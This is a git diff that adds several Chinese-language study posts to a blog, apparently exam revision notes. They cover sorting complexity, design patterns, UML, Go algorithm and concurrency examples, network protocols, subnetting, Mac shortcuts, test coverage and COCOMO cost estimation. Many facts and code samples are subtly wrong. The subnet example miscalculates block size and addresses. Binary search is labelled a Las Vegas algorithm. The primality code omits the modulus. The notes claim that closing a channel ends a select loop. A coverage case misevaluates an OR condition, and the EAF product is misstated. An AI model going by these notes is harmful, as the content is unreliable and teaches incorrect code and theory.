简化版删除操作,仅适用于节点关键字数量大于t-1的情况 + i := 0 + for i < len(node.keys) && key > node.keys[i] { + i++ + } + + if i < len(node.keys) && key == node.keys[i] { + if node.isLeaf { + node.keys = append(node.keys[:i], node.keys[i+1:]...) + } else { + // 更复杂的情况需要处理子节点关键字数量的调整 + } + } else { + if !node.isLeaf { + b.delete(node.children[i], key) + } + } +} +//这个实现仅涵盖了B树的基本操作,实际应用中可能需要处理更多的边界条件和优化。在实现过程中,我们需要关注代码的可读性、可维护性和性能。同时,不断学习和实践有助于我们更好地理解B树的原理和应用。 +``` +93.直接插入排序/冒泡排序/简单选择排序 + +直接插入排序: +``` +总比较次数:n(n-1)/2 +总移动次数:(n+3)(n-1)/2 +时间复杂度为O(n的二次方) +空间复杂度为0(1) +``` +冒泡排序: +``` +总比较次数:n(n-1)/2 +总交换次数:n(n-1)/2 +时间复杂度为O(n的二次方) +空间复杂度为0(1) +``` + +简单选择排序: +``` +最好情况下,不需要移动元素 +总比较次数:n(n-1)/2 +总移动次数:3(n-1)/2 +时间复杂度为O(n的二次方) +空间复杂度为0(1) +``` + +快速排序的时间复杂度(好):O(nlogn) +快速排序的时间复杂度(坏):O(n的二次方) + +希尔排序的时间复杂度:O(n1.3次方) + +堆排序的时间复杂度:O(nlogn) + + +``` +直接插入:O(n的二次方) +简单选择排序:O(n的二次方) +冒泡排序:O(n的二次方) +希尔排序:O(n1.3次方) +快速排序:O(nlogn) 空间:O(logn) +堆排序:O(nlogn)空间:O(1) +归并排序:O(nlogn) 空间:O(n) +基数排序:O(d(n+rd)) +``` + +94.外部排序 + +外部排序就是对大型文件的排序,待排序的记录存放在外存。在排序的过程中,内存只存 储文件的 一部分记录,整个排序过程需要进行多次内外存间的数据交换。 +常用的外部排序方法是归并排序, 一般分为两个阶段:在第一阶段,把文件中的记录分段读入内存,利用某种内部排序方法对记录段进行排序并输出到外存的另一个文件中,在新文件中形成许多有序的记录段,称为归并段;在第二阶段,对第一阶段形成的归并段用某种归并方 +法进行一趟趟地归并 , 使文件的有序段逐渐加长 , 直到将整个 文件归并为一个有序段时为止 。 下面简单介绍常用的 多路平衡归并方法。 平衡归并是指文件经外部排序的第一个阶段后,已经形成 了由若干个初始归并段构成 的 文 件 。 在 这 个 基 础 上, 反 复 将 每 次 确 定 的 石 个 归 并 段 归 并 为 一 个 有 序 段 , 将 一 个 文 件 上的 记录归并到另一个文件上。重复这个过程, 直到文件中的所有记录都归并为一个有序段。 + + + +94.面向对象分析的过程 +1-认定対象 +2-组织对象 +3-对象间的相互作用 +4-确定对象的操作 +5-定义对象的内部信息 + +95.面向对象设计的活动 +1-识别类及对象 +2-定义属性 +3-定义服务 +4-识别关系 +5-识别包 + +96.面对对象测试 +1-算法层 +2-类层 +3-模版层 +4-系统层 + +97.UML中的四个事物 +1-结构事物(类,接口,协作,用例,构件,制品,节点) +2-行为事物(交互,状态机,活动) +3-分组事务(包) +4-注释事务 + +98.UML的四种关系 +1-依赖 +2-关联 +3-泛化 +4-实现 + + +99.活动图 +活动图用来:1-对工作流建模。2-对操作建模。 +类图用来:1-对系统的语境建模。2-对系统的需求建模。 +构件图用来:系统的静态实现建模。 +部署图用来:对面向对象系统的物理方面的建模。展现了运行时处理节点以及其中构件的配置。 +包图:展现模型本身分解成的组织单元以及其间依赖的关系。 + +100.创建型设计模式/结构型设计模式/行为型设计模式 + +创建型设计模式:抽象工厂/单例模式/工厂方法/(生成器模式)建造者模式/原型模式 +- 抽象工厂:提供一个创建一系列相关对象或者依赖对象的接口,而无需制定他们具体的类。 +- 原型模式:用原型实例指定创建对象的种类, 并且通过复制这些原型创建新的对象。 +- 生成器模式:将一个复杂对象与他的表示分离。 +- 工厂方法:定义一个用来创建对象的接口,让子类决定来实例哪一个类 +- 单例模式:保证一个类仅仅只有一个实例。 + +结构型设计模式: + +- 适配器:将一个类的接口转化为客户希望的另外一个接口。使得接口不兼容而不能一起工作的类可一起工作。 +- 桥接模式:将抽象部分和实现部分分离,使得他们可以独立工作。 +- 组合模式:将对象组合成树型结构表示整体-部分的层次结构。 +- 装饰器模式:动态的给一个对象添加额外的指责。 +- 外观模式:为子系统的一组接口提供一个独立的一致的界面。 +- 享元模式:使用共享技术,支持大量细粒度的对象。 +- 代理模式:为其他对象提供一种代理以控制堆该对象的访问。 + +行为型设计模式: + +- 责任链:使多个对象都有机会处理请求 +- 命令模式:将一个请求封装为对象,从而使得可以用不同的请求对客户进行参数化。 +- 解释器模式:给定一个语言,定义他的文法,定义一个解释器,这个解释器用来解释语言中的句子 +- 迭代器模式:提供一个方法顺序访问聚合对象的各个元素。 +- 中介者模式:用一个中介对象封装一些列对象的交互。使得各个对象之间不需要显示的相互引用。 +- 备忘录模式:捕获一个对象的内部状态,在对象之外保存这个状态。 +- 观察者模式:定义对象间的一对多的依赖关系,当一个对象的状态发生改变时,所有依赖他的对象被通知并且被自动更新。 +- 状态模式:允许一个对象在其内部状态改变的时候改变他的行为。 +- 策略模式:定义一系列的算法,把他们一个个的封装起来,使得他们可以相互替换。 +- 模版方法:定义操作的算法骨架,将一些步骤延迟到子类,不改变算法的结构下即可重定义该算算法。 +- 访问者模式:表示一下作用于某对象结构中的各种元素的操作,允许在不改变各个元素类的前提的顶一下作用于这些元素的新操作。 + + +100.分治法/动规/贪心/回溯/概率算法 + +分治法在每层递归上: +> 1-分解。2-求解。3-合并 + +动规: + +> 1-找到最优解。2-递归定义最优解。3-自低向上计算最优解。4-构造最优解。 +```go +func dpFunction(nums []int) int { + n := len(nums) + // 初始化状态 + dp := make([]int, n) + dp[0] = nums[0] + // 状态转移方程 + for i := 1; i < n; i++ { + dp[i] = max(dp[i-1]+nums[i], nums[i]) + } + // 返回最终结果 + result := dp[0] + for i := 1; i < n; i++ { + if dp[i] > result { + result = dp[i] + } + } + return result +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} +``` +贪心: +> 仅仅根据当前已有的信息作出选择。 +```go +type item struct { + value int // 物品的价值 + weight int // 物品的重量 + ratio float64 // 物品的价值与重量的比值 +} + +func knapsack(items []item, capacity int) int { + sort.Slice(items, func(i, j int) bool { + return items[i].ratio > items[j].ratio + }) + + totalValue := 0 + for _, item := range items { + if capacity <= 0 { + break + } + if item.weight <= capacity { + totalValue += item.value + capacity -= item.weight + } else { + totalValue += int(float64(capacity) * item.ratio) + capacity = 0 + } + } + + return totalValue +} +``` +回溯: +> 系统的搜索一个问题的所有解或任意解 + +```go +func backtrack(nums []int, path []int, used []bool, result *[][]int) { + // 终止条件 + if len(path) == len(nums) { + temp := make([]int, len(path)) + copy(temp, path) + *result = append(*result, temp) + return + } + + for i := 0; i < len(nums); i++ { + if used[i] { + continue + } + // 做选择 + path = append(path, nums[i]) + used[i] = true + // 进入下一层决策树 + backtrack(nums, path, used, result) + // 撤销选择 + path = path[:len(path)-1] + used[i] = false + } +} +``` + +概率算法: + + +数值概率算法 +```go +import ( + "math" +) + +func normalDistribution(x, mean, stdDev float64) float64 { + return 1.0 / (stdDev * math.Sqrt(2.0*math.Pi)) * math.Exp(-math.Pow(x-mean, 2.0)/(2.0*math.Pow(stdDev, 2.0))) +} +``` + +>蒙特卡罗算法 + +```go +import ( + "math/rand" + "time" +) + +func monteCarloSimulation(n int) float64 { + count := 0 + rand.Seed(time.Now().UnixNano()) + for i := 0; i < n; i++ { + x := rand.Float64() + y := rand.Float64() + if x*x+y*y <= 1.0 { + count++ + } + } + return 4.0 * float64(count) / float64(n) +} + +``` + +> 拉斯维加斯算法:实现了一个二分查找的算法,它的参数是一个有序的整数数组nums和待查找的目标值target。具体来说,我们使用二分查找的方法来在数组中查找目标值,如果找到了目标值,则返回其下标;否则返回-1。 + +```go +func binarySearch(nums []int, target int) int { + left, right := 0, len(nums)-1 + for left <= right { + mid := left + (right-left)/2 + if nums[mid] == target { + return mid + } else if nums[mid] < target { + left = mid + 1 + } else { + right = mid - 1 + } + } + return -1 +} + +``` + +> 舍伍德算法:通过随机选取一些整数来判断n是否为合数。如果n是合数,则在随机选取的整数中,有很大的概率会选取到n的因子,从而判断出n是合数;否则,如果n是素数,则在随机选取的整数中极少会选取到n的因子,因此可以认为n是素数。 +```go +func gcd(a, b int) int { + if b == 0 { + return a + } + return gcd(b, a%b) +} + +func isPrime(n int) bool { + if n <= 1 { + return false + } + for i := 0; i < 50; i++ { + a := rand.Intn(n-1) + 1 + if gcd(a, n) != 1 || big.NewInt(int64(a)).Exp(big.NewInt(int64(a)), big.NewInt(int64(n-1)), nil).Int64() != 1 { + return false + } + } + return true +} +``` +101.局域网协议 + +1-LAN:局域网(Local Area Network,LAN)是指在一个相对较小的地理范围内,如一个建筑物、一个校园或者一个办公室内部,通过一定的通信介质和网络协议,将多台计算机及相关设备互联起来,实现数据和资源共享的计算机网络。 + +2-以太网:是一种最常见的有线局域网协议,它是IEEE 802.3标准定义的一种协议,采用CSMA/CD(载波监听多路访问/冲突检测)技术,支持多种传输介质和不同的传输速率,从10Mbps到100Gbps不等。 + +3-令牌环网:是一种基于令牌传递的局域网协议,采用环形拓扑结构,数据经过每个节点时需要获得一个令牌才能继续传输,实现了数据传输的有序性和稳定性。 + +4-FDDI:是一种基于光纤传输的局域网协议,采用双环结构,支持多种传输介质和不同的传输速率,最高可达100Mbps。 + +5-无限局域网(CSMA/CA):无线局域网(Wireless LAN,WLAN)是一种基于无线通信技术的局域网协议,采用CSMA/CA(载波监听多路访问/冲突避免)技术,支持多种无线传输标准,如Wi-Fi、Bluetooth等,可实现无线终端设备的接入和移动性的支持。 + + +102.广域网协议 + +1-点对点协议PPP:点对点协议(Point-to-Point Protocol,PPP)是一种广泛应用于互联网连接的协议,它建立在串行线路上,用于在两个网络节点之间建立通信连接,支持多种链路层协议和网络层协议。 + +2-数宇用户线 (XDSL):数字用户线路(x Digital Subscriber Line,xDSL)是一种基于电话线或电缆线的数字传输技术,用于在宽带接入网络中实现用户与网络的连接,常见的xDSL技术包括ADSL、VDSL、HDSL等。 + +3-数字专线:数字专线是一种点对点的专用电路,用于在远距离的两个网络节点之间建立连接,具有高速传输、低延迟和高可靠性等特点。 + +4-帧中继:帧中继(Frame Relay)是一种基于帧的广域网协议,用于在广域网中实现不同地理位置的网络节点之间的数据传输,支持多种传输速率和服务质量要求。 + +5-异步传输模式:异步传输模式(AsynchronousTransfer Mode,ATM)是一种基于分组交换技术的广域网协议,用于在不同地理位置的网络节点之间建立虚拟电路,支持高速传输和多种服务质量要求。 + +6-X.25:X.25是一种基于分组交换的广域网协议,用于在远距离的网络节点之间建立连接,支持多种传输速率和服务质量要求,常用于远程访问、金融和交通等领域。 + + + +103.TCP/IP + +1-网络接口层: + +2-网络层:ICMP协议(Internet Control Message Protocol):用于在IP网络中传递控制消息,如错误报告、网络拥塞控制等。常见的ping命令就是基于ICMP协议实现的。ARP协议(Address Resolution Protocol):用于将IP地址映射到MAC地址,即将网络层的IP地址转换为链路层的MAC地址,以便于数据包的传输。RARP协议(Reverse Address Resolution Protocol):与ARP相反,用于将MAC地址映射到IP地址,即将链路层的MAC地址转换为网络层的IP地址,以便于主机进行引导和启动操作。ping 工具就是利用ICMP报文进行目标是 否可达测试。 + +3-传输层:TCP-靠重发保证准确性。 + +4-应用层:NFS协议(Network File System):用于UNIX/Linux系统中的文件共享,允许用户在网络上访问远程文件系统。Telnet协议:远程登录协议,允许用户通过网络连接到远端主机,并在远端主机上执行操作。SMTP协议(Simple Mail Transfer Protocol):用于电子邮件的传输,定义了邮件的格式和传输规则,常用于发送和接收邮件。DNS协议(Domain Name System):用于将域名解析为IP地址,使用户能够通过域名来访问网络资源。SNMP协议(Simple Network Management Protocol):用于网络设备的管理和监控,允许管理员通过网络远程管理和监控网络设备。FTP协议(File Transfer Protocol):用于文件传输,在客户端和服务器之间传输文件,支持文件上传和下载等操作。 + + +104.给定IP地址求子网数(网络数)?主机数?网络地址?广播地址? + +1- 求子网掩码 +2- 网络数= 2的X次方(X是子网掩码中,借的1的个数) +3- 主机数= 2的Y次方-2(Y是子网掩码中0的个数) +4- 块大小计算 = 256-子网掩码 +5- 网络地址 +6- 广播地址 + +IP地址为202.106.1.0/26 求子网数(网络数)?主机数?网络地址?广播地址? + +```text +子网掩码 +11111111.11111111.11111111.1100 0000 +子网数: +2^2=4 +主机数:2^6-2=62 +块大小:256-(2^6+2^7)=64 +网络地址:202.106.1.0 202.106.1.64 202.106.1.128 202.106.192 +广播地址:202.106.1.63 202.106.1.127 202.106.1.191 202.106.255(网络地址主机位取反) +``` + + +105.结构化分析和设计的步骤 +1-需求说明 +2-结构化分析(得到数据流图,数据字典,加工说明) +3-总体设计。(数据流图中的各个处理转换为模块后模块与模块之间的调用关系) +4-详细设计 + +106.数据库分析和设计的步骤 +1-需求分析 +2-概念设计(E-R图) +3-逻辑设计(E-R 图中的实体逐一转换成为一个关系模式) +4-物理设计 + +107.面向对象分析与设计 +1-对系统需求进行建模。(确定参与者,确定需求用例,构造用例模型,记录需求用例描述) +2-定义领域模型(组织对象并记录对象间的概念关系) +3-定义交互,状态和行为。(设计交互图) +4-定义设计类图(设计类图) + + + + diff --git a/_posts/2023-5-2-test-markdown.md b/_posts/2023-5-2-test-markdown.md new file mode 100644 index 000000000000..67682dbb703b --- /dev/null +++ b/_posts/2023-5-2-test-markdown.md @@ -0,0 +1,146 @@ +--- +layout: post +title: MAC 下快捷键 +subtitle: +tags: [mac] +comments: true +--- + +### Mac 键盘说明 +⌘ == Command +⇧ == Shift +⇪ == Caps Lock +⌥ == Option +⌃ == Control +↩ == Return/Enter +⌫ == Delete +⌦ == 向前删除键(Fn+Delete) +↑ == 上箭头 +↓ == 下箭头 +← == 左箭头 +→ == 右箭头 +⇞ == Page Up(Fn+↑) +⇟ == Page Down(Fn+↓) +Home == Fn + ← +End == Fn + → +⇥ == 右制表符(Tab键) +⇤ == 左制表符(Shift+Tab) +⎋ == Escape (Esc) +⏏ == 电源开关键 + +### VScode常用 + +- 显示命令面板`⇧⌘P, F1` +- 快速打开 `⌘P` +- 新建 窗口/实例 ⌘N(之前的:⇧⌘N) +- 关闭 窗口/实例 ⌘W +- 侧边栏开关 command + B +- 控制台开关 command + J +- 整个项目搜索内容 command + shift + F + +### VScode基本编辑 + +- `⌘X` 剪切 +- `⌘C` 复制 +- `⌥↓ / ⌥↑` 移动当前行向 下/上 +- `⇧⌥↓ / ⇧⌥↑` 复制当前行向 下/上 +- `⇧⌘K` 删除当前行 +- `⌘Enter / ⇧⌘Enter` 在下/上 插入一行 +- `⇧⌘\` 跳转到匹配的括号 +- `⌘↑ / ⌘↓` 跳到当前行的开始,结束 +- `⌃PgUp` 滚动到 +- `⌃PgDown` 滚动到行头/行尾 +- `⌘PgUp /⌘PgDown `滚动到页头/页尾 +- `⇧⌘[ / ⇧⌘]` 折叠/展开区域 +- `⌘K ⌘[ / ⌘K ⌘]` 折叠/展开所有子区域 +- `⌘K ⌘0 / ⌘K ⌘J` 折叠/展开所有区域 +- `⌘K ⌘C` 添加行注释 +- `⌘K ⌘U` 删除行注释 +- `⌘/ `切换行注释 +- `⇧⌥A` 切换块注释 +- `⌥Z` 切换文字换行 + +### 终端快捷键 + +```text +Ctrl + a 光标移动到行首(Ahead of line),相当于通常的Home键 +Ctrl + e 光标移动到行尾(End of line) +Alt+← 或 ESC+B:左移一个单词; +Alt+→ 或 ESC+F:右移一个单词; +Ctrl + d 删除一个字符,相当于通常的Delete键(命令行若无所有字符,则相当于exit;处理多行标准输入时也表示eof) +Ctrl + h 退格删除一个字符,相当于通常的Backspace键 +Ctrl + u 删除光标之前到行首的字符 +Ctrl + k 删除光标之前到行尾的字符 +Ctrl + c 取消当前行输入的命令,相当于Ctrl + Break +Ctrl + f 光标向前(Forward)移动一个字符位置 +Ctrl + b 光标往回(Backward)移动一个字符位置 +Ctrl + l 清屏,相当于执行clear命令 +Ctrl + p 调出命令历史中的前一条(Previous)命令,相当于通常的上箭头 +Ctrl + n 调出命令历史中的下一条(Next)命令,相当于通常的上箭头 +Ctrl + r 显示:号提示,根据用户输入查找相关历史命令(reverse-i-search) + +次常用快捷键: +Alt + f 光标向前(Forward)移动到下一个单词 +Alt + b 光标往回(Backward)移动到前一个单词 +Ctrl + w 删除从光标位置前到当前所处单词(Word)的开头 +Alt + d 删除从光标位置到当前所处单词的末尾 +Ctrl + y 粘贴最后一次被删除的单词 +``` + +### 终端常用操作 + +#### 查看进程 +```shell +# 搜索特定进程, +~ ps aux|grep 进程名字 +# 动态显示进程 +~ top +``` +#### 查看端口号 + +```shell +# 搜索端口号为8080, 可以看见进程名字与ID +lsof -i:8080 +# 查看IPv4端口:(最好加 sudo) +~ lsof -Pnl +M -i4 + +# 查看IPv6协议下的端口 +lsof -Pnl +M -i6 + +~ sudo netstat antup +``` + +#### 终端使用一次性代理 + +终端临时使用代理,只对这个终端有效,关闭后失效: +```shell +export http_proxy=http://proxyAddress:port + +export http_proxy="http://127.0.0.1:1080" +export https_proxy="http://127.0.0.1:1080" +``` +#### 终端使用永居代理 +```shell +# vi ~/.ashrc + +export http_proxy="http://localhost:port" +export https_proxy="http://localhost:port" + +# 以使用shadowsocks代理为例,ss的代理端口为1080,那么应该设置为: +export http_proxy="http://127.0.0.1:1080" +export https_proxy="http://127.0.0.1:1080" +``` +localhost就是一个域名,域名默认指向 127.0.0.1,两者是一样的。 +然后ESC后:wq保存文件,接着在终端中执行source ~/.bashrc +或者退出当前终端再起一个终端。 这个办法的好处是把代理服务器永久保存了,下次就可以直接用了。 + + +#### 终端刷新DNS缓存 +```shell +sudo killall -HUP mDNSResponder +``` + +#### 终端安装 + +wget是unix上一个发送网络请求的命令工具,不过mac本身并没有,mac自带的是curl,都是发送网络请求,但是两者之间肯定存在一些差异。一般来说,wget主要专注于下载文件,curl长项在于web交互、调试网页等。 + diff --git a/_posts/2023-5-21-test-markdown.md b/_posts/2023-5-21-test-markdown.md new file mode 100644 index 000000000000..df12de88aca4 --- /dev/null +++ b/_posts/2023-5-21-test-markdown.md @@ -0,0 +1,299 @@ +--- +layout: post +title: Go解决消费者生产者问题 +subtitle: +tags: [软件设计] +comments: true +--- + +### 类似Java的管程实现 + +Go语言本身没有提供像Java中的synchronized关键字或Python中的threading.Condition等类似的管程(Monitor)实现,但是可以使用Go语言的goroutine和channel来实现类似的并发控制机制。 + +```go +type Monitor struct { + buffer []int + count int + lock sync.Mutex + cond *sync.Cond +} + +func NewMonitor(size int) *Monitor { + m := &Monitor{ + buffer: make([]int, size), + count: 0, + } + m.cond = sync.NewCond(&m.lock) + return m +} + +func (m *Monitor) Put(item int) { + m.lock.Lock() + defer m.lock.Unlock() + + for m.count == len(m.buffer) { + m.cond.Wait() + } + +m.buffer[m.count] = item + m.count++ + + m.cond.Signal() +} + +func (m *Monitor) Get() int { + m.lock.Lock() + defer m.lock.Unlock() + + for m.count == 0 { + m.cond.Wait() + } + + item := m.buffer[m.count-1] + m.count-- + + m.cond.Signal() + + return item +} + +``` + +### Channel实现 + +```go +func producer(ch chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) + ch <- i + fmt.Println("Producer produced:", i) + } + close(ch) +} + +func consumer(ch <-chan int, done chan<- bool) { + for { + item, ok := <-ch + if !ok { + break + } + time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) + fmt.Println("Consumer consumed:", item) + } + done <- true +} + +func main() { + ch := make(chan int) + done := make(chan bool) + go producer(ch) + go consumer(ch, done) + <-done +} +``` + +使用了两个goroutine来模拟生产者和消费者,生产者向channel中发送消息,消费者从channel中接收消息,并输出到屏幕上。通过使用无缓冲的channel来保证生产者和消费者之间的同步,当缓冲池已满时,生产者会阻塞等待,当缓冲池为空时,消费者会阻塞等待。当生产者生产完所有消息后,关闭channel,消费者则会退出循环并向done通道发送一个信号,表示消费者已完成任务。 + +需要注意的是,在使用channel时,需要避免死锁和饥饿等并发问题,以保证程序的正确性和性能。同时,在Go语言中,还可以使用sync.WaitGroup来协调多个goroutine的执行,以实现更加复杂的并发控制。 + + +### 使用channel时,如何避免死锁和饥饿等并发问题? + +#### Select+Channel避免单向等待 +```go +func main() { + ch1 := make(chan int) + ch2 := make(chan int) + + go func() { + select { + case <-ch1: + fmt.Println("Received from ch1") + default: + fmt.Println("Nothing received from ch1") + } + ch2 <- 1 + }() + + go func() { + select { + case <-ch2: + fmt.Println("Received from ch2") + default: + fmt.Println("Nothing received from ch2") + } + ch1 <- 1 + }() + + time.Sleep(time.Second) +} +``` + +#### 超时避免单向等待 + + +```go +func main(){ + ch1 := make(chan int) + ch2 := make(chan int) + go func() { + select { + case <-ch1: + fmt.Println("Received from ch1") + case <-time.After(time.Second): + fmt.Println("Timeout for ch1") + } + ch2 <- 1 + }() + + go func() { + select { + case <-ch2: + fmt.Println("Received from ch2") + case <-time.After(time.Second): + fmt.Println("Timeout for ch2") + } + ch1 <- 1 + }() + + time.Sleep(time.Second * 2) +} + +``` + +在这个示例中,也定义了两个channel ch1和ch2,并在两个goroutine中使用。在每个goroutine中,使用select语句结合time.After函数来等待对应的channel的消息。如果在超时时间内没有接收到消息,就会执行time.After返回的channel,从而避免单向等待。当每个goroutine都收到了对应的消息后,通过channel来通知另一个goroutine,从而保证两个goroutine之间的同步。 + +### 互斥锁保护共享变量 +```go +import ( + "fmt" + "sync" +) + +type Counter struct { + mu sync.Mutex + count int +} + +func (c *Counter) Add(n int) { + c.mu.Lock() + defer c.mu.Unlock() + + c.count += n +} + +func (c *Counter) Get() int { + c.mu.Lock() + defer c.mu.Unlock() + + return c.count +} + +func main() { + c := Counter{count: 0} + + var wg sync.WaitGroup + for i := 0; i < 100; i++ { + wg.Add(1) + go func() { + defer wg.Done() + c.Add(1) + }() + } + wg.Wait() + + fmt.Println(c.Get()) +} +``` +使用互斥锁来保护count的访问,以避免竞态条件。在主函数中,使用多个goroutine并发执行Add()方法,通过WaitGroup来等待所有goroutine执行完毕后再输出计数器的值。 + + + +### 原子操作来保证操作的原子性的 +```go +import ( + "fmt" + "sync/atomic" +) + +type Counter struct { + count int32 +} + +func (c *Counter) Add(n int32) { + atomic.AddInt32(&c.count, n) +} + +func (c *Counter) Get() int32 { + return atomic.LoadInt32(&c.count) +} + +func main() { + c := Counter{count: 0} + + var wg sync.WaitGroup + for i := 0; i < 100; i++ { + wg.Add(1) + go func() { + defer wg.Done() + c.Add(1) + }() + } + wg.Wait() + + fmt.Println(c.Get()) +} +``` +定义了一个名为Counter的结构体类型,它包括一个计数器count。在Add()和Get()方法中,使用原子操作来保证对count的操作的原子性,以避免竞态条件。在主函数中,使用多个goroutine并发执行Add()方法,通过WaitGroup来等待所有goroutine执行完毕后再输出计数器的值。 + +原子操作虽然可以避免竞态条件,但并不能保证数据的一致性和正确性,需要根据实际情况进行适当的数据处理和校验。 + + +### 带缓冲的Channel+关闭Channel解决内存泄漏问题 +```go +func main() { + ch := make(chan int) + + go func() { + for { + select { + case v := <-ch: + fmt.Println("Received:", v) + } + } + }() + + for i := 0; i < 10; i++ { + ch <- i + } +} +``` +在goroutine中没有退出的条件,即使在主函数中发送完消息后,goroutine仍然会一直等待消息的到来,导致程序可能会出现泄漏。 +```go +func main() { + ch := make(chan int, 10) + + go func() { + for { + select { + case v := <-ch: + fmt.Println("Received:", v) + } + } + }() + + for i := 0; i < 10; i++ { + ch <- i + } + + close(ch) +} +``` + +向channel中发送10个整数,并在发送完毕后,调用close()函数关闭channel,以释放资源。由于goroutine中使用了select语句,一旦channel关闭,就会跳出select语句,从而结束goroutine的执行,避免了泄漏的问题。 + +在使用无缓冲channel时,需要及时关闭channel,以避免资源泄漏和程序阻塞等问题. + +``` +200*2^(30-20)=1024*200*8/32= +``` \ No newline at end of file diff --git a/_posts/2023-5-22-test-markdown.md b/_posts/2023-5-22-test-markdown.md new file mode 100644 index 000000000000..c7412bb02dfb --- /dev/null +++ b/_posts/2023-5-22-test-markdown.md @@ -0,0 +1,219 @@ +--- +layout: post +title: COCOMO模型/判断覆盖/条件覆盖/估算功能点 +subtitle: +tags: [软件测试] +comments: true +--- +## 1.测试方法 +```go +if (x > 0) { + // 正数分支 +} else if (x == 0) { + // 零分支 +} else { + // 负数分支 +} +``` + +```go +switch (dayOfWeek) { + case 1: + // 星期一 + break; + case 2: + // 星期二 + break; + case 3: + // 星期三 + break; + // ... + default: + // 未知的星期 + break; +} +``` + + +### 判定覆盖(Decision Coverage) + +判定覆盖要求测试用例覆盖所有可能的分支。对于给定的 switch 语句和 if-else 语句,我们需要确保每个 case 和每个条件分支都至少执行一次。 + +```java +dayOfWeek = 1,覆盖了 "星期一" 分支 +dayOfWeek = 2,覆盖了 "星期二" 分支 +dayOfWeek = 3,覆盖了 "星期三" 分支 +dayOfWeek 为其他有效值(如 4、5、6、7),覆盖其他 "星期" 分支(已省略) +dayOfWeek 为无效值(如 0、8 或 -1),覆盖 "未知的星期" 分支 +``` + +以下是针对 if-else 语句的测试用例: +```java +x > 0,覆盖了 "正数分支" +x == 0,覆盖了 "零分支" +x < 0,覆盖了 "负数分支" +``` + +### 条件覆盖 + +条件覆盖要求测试用例覆盖所有可能的条件结果,即条件为真和条件为假的情况。对于给定的 switch 语句和 if-else 语句,我们需要考虑所有可能的条件结果。 + +对于 switch 语句,条件覆盖和判定覆盖的设计是相同的,因为 switch 语句的每个 case 都是一个独立的条件。 + +对于 if-else 语句,以下是针对条件覆盖的测试用例: +```java +x > 0 为真,覆盖了 "正数分支" +x > 0 为假,但 x == 0 为真,覆盖了 "零分支" +x > 0 为假,且 x == 0 为假,覆盖了 "负数分支" +``` + +### 设计测试用例? + + +#### 判定分支的测试用例设计 +针对每个 case 子句,至少设计一个测试用例,使得程序能够执行该分支中的代码块。对于多个判定条件的情况,需要设计多个测试用例,以覆盖所有可能的情况。例如,在上面的代码中,可以设计以下测试用例: +```java +dayOfWeek 的值为 1:覆盖第一个判定分支。 +dayOfWeek 的值为 2:覆盖第二个判定分支。 +dayOfWeek 的值为 3:覆盖第三个判定分支。 +dayOfWeek 的值为负数:覆盖默认分支。 +``` + + +#### 条件分支的测试用例设计 + +针对每个 case 子句中的条件表达式,至少设计一个测试用例,使得程序能够执行该分支中的代码块。对于**多个条件表达式**的情况,需要设计多个测试用例,以覆盖所有可能的条件取值。 + + + +```go +if (x > 0) { + // 正数分支 +} else if (x == 0) || (y==0) { + // 零分支 +} else { + // 负数分支 +} +``` + +条件覆盖测试,需要针对每个条件表达式的取值至少设计一个测试用例,以覆盖所有可能的情况。对于 (x == 0) || (y==0) 这个整体条件表达式,我们需要分别测试其为真和为假的情况,因此需要设计两个测试用例。具体来说,可以设计以下测试用例: + +```java +x 的值为 1,y 的值为 0:覆盖正数分支,以及 (x == 0) || (y==0) 为假的情况。 +x 的值为 0,y 的值为 1:覆盖零分支,以及 (x == 0) || (y==0) 为真的情况。 +x 的值为 -1,y 的值为 0:覆盖负数分支,以及 (x == 0) || (y==0) 为假的情况。 +x 的值为 0,y 的值为 0:覆盖零分支,以及 (x == 0) || (y==0) 为真的情况。 +``` + +分支覆盖测试中,我们只需要设计一个测试用例,覆盖整体条件表达式为真和为假的情况,以保证所有分支都至少被执行一次。具体来说,可以设计以下测试用例: +```java +x 的值为 1,y 的值为 0:覆盖正数分支,以及整体条件表达式为真的情况。 +x 的值为 -1,y 的值为 0:覆盖负数分支,以及整体条件表达式为假的情况。 +``` + +## 2.成本估算 + +假设我们有一个需要开发新软件系统的项目,目标代码行数为10,000行。我们想使用COCOMO模型来估算该项目的工作量和时间。 + +### 基本COCOMO模型 +基本COCOMO模型根据软件系统的大小估算项目所需的工作量。基本COCOMO模型的公式为: +```text +E = a * (KLOC)^b +``` +其中,E是以人月为单位的工作量,KLOC是以千行代码为单位的软件系统大小,a和b是依赖于正在开发的项目类型的常数。 + +对于我们的项目,我们将假设a = 2.4,b = 1.05,这是基本COCOMO模型中半独立项目的默认值。使用这些值,我们可以估算出项目所需的工作量: +```text +E = 2.4 * (10)^1.05 = 29.5人月 +``` +### 中级COCOMO模型 +中级COCOMO模型通过考虑影响项目工作量的各种因素来扩展基本模型。这些因素分为五个类别:产品、平台、人员、项目和过程。每个类别都有一组成本驱动因素,影响项目所需的工作量。 + +为了使用中级COCOMO模型,我们需要根据每个类别的成本驱动因素计算出一个工作量调整因子(EAF)。中级COCOMO模型的公式为: +```text +E = a * (KLOC)^b * EAF +``` +其中,EAF是每个类别的成本驱动因素的乘积。成本驱动因素在非常低、低、标准、高和非常高的等级上进行评级。 + +对于我们的项目,假设每个类别的成本驱动因素的评级如下: + +产品:标准 +平台:高 +人员:高 +项目:标准 +过程:高 +使用这些成本驱动因素的评级,我们可以计算出EAF如下: +```text +EAF = 0.91 * 1.16 * 1.10 * 1.00 * 0.90 = 0.94 +``` +其中,0.91、1.16、1.10、1.00和0.90分别是产品、平台、人员、项目和过程类别的EAF值。 + +现在,我们可以使用中级COCOMO模型的公式来估算项目所需的工作量: +```text +E = 2.4 * (10)^1.05 * 0.94 = 27.8人月 +``` +### 详细COCOMO模型 +详细COCOMO模型是COCOMO模型中最复杂的版本,它考虑了软件开发过程的具体特性,如需求分析和设计阶段。详细COCOMO模型根据软件系统的大小和开发过程的特定特性估算项目所需的工作量。 + +为了使用详细COCOMO模型,我们需要根据开发过程的每个阶段的成本驱动因素计算出一个工作量调整因子(EAF)。详细COCOMO模型的公式为: +```text +E = a *(KLOC)^b * EAF +``` +其中,EAF是每个开发过程阶段的成本驱动因素的乘积。 + +对于我们的项目,假设每个开发过程阶段的成本驱动因素的评级如下: + +需求分析:标准 +系统设计:高 +详细设计:高 +编码和测试:非常高 +使用这些成本驱动因素的评级,我们可以计算出EAF如下: + +EAF = 0.98 * 1.15 * 1.15 * 1.30 = 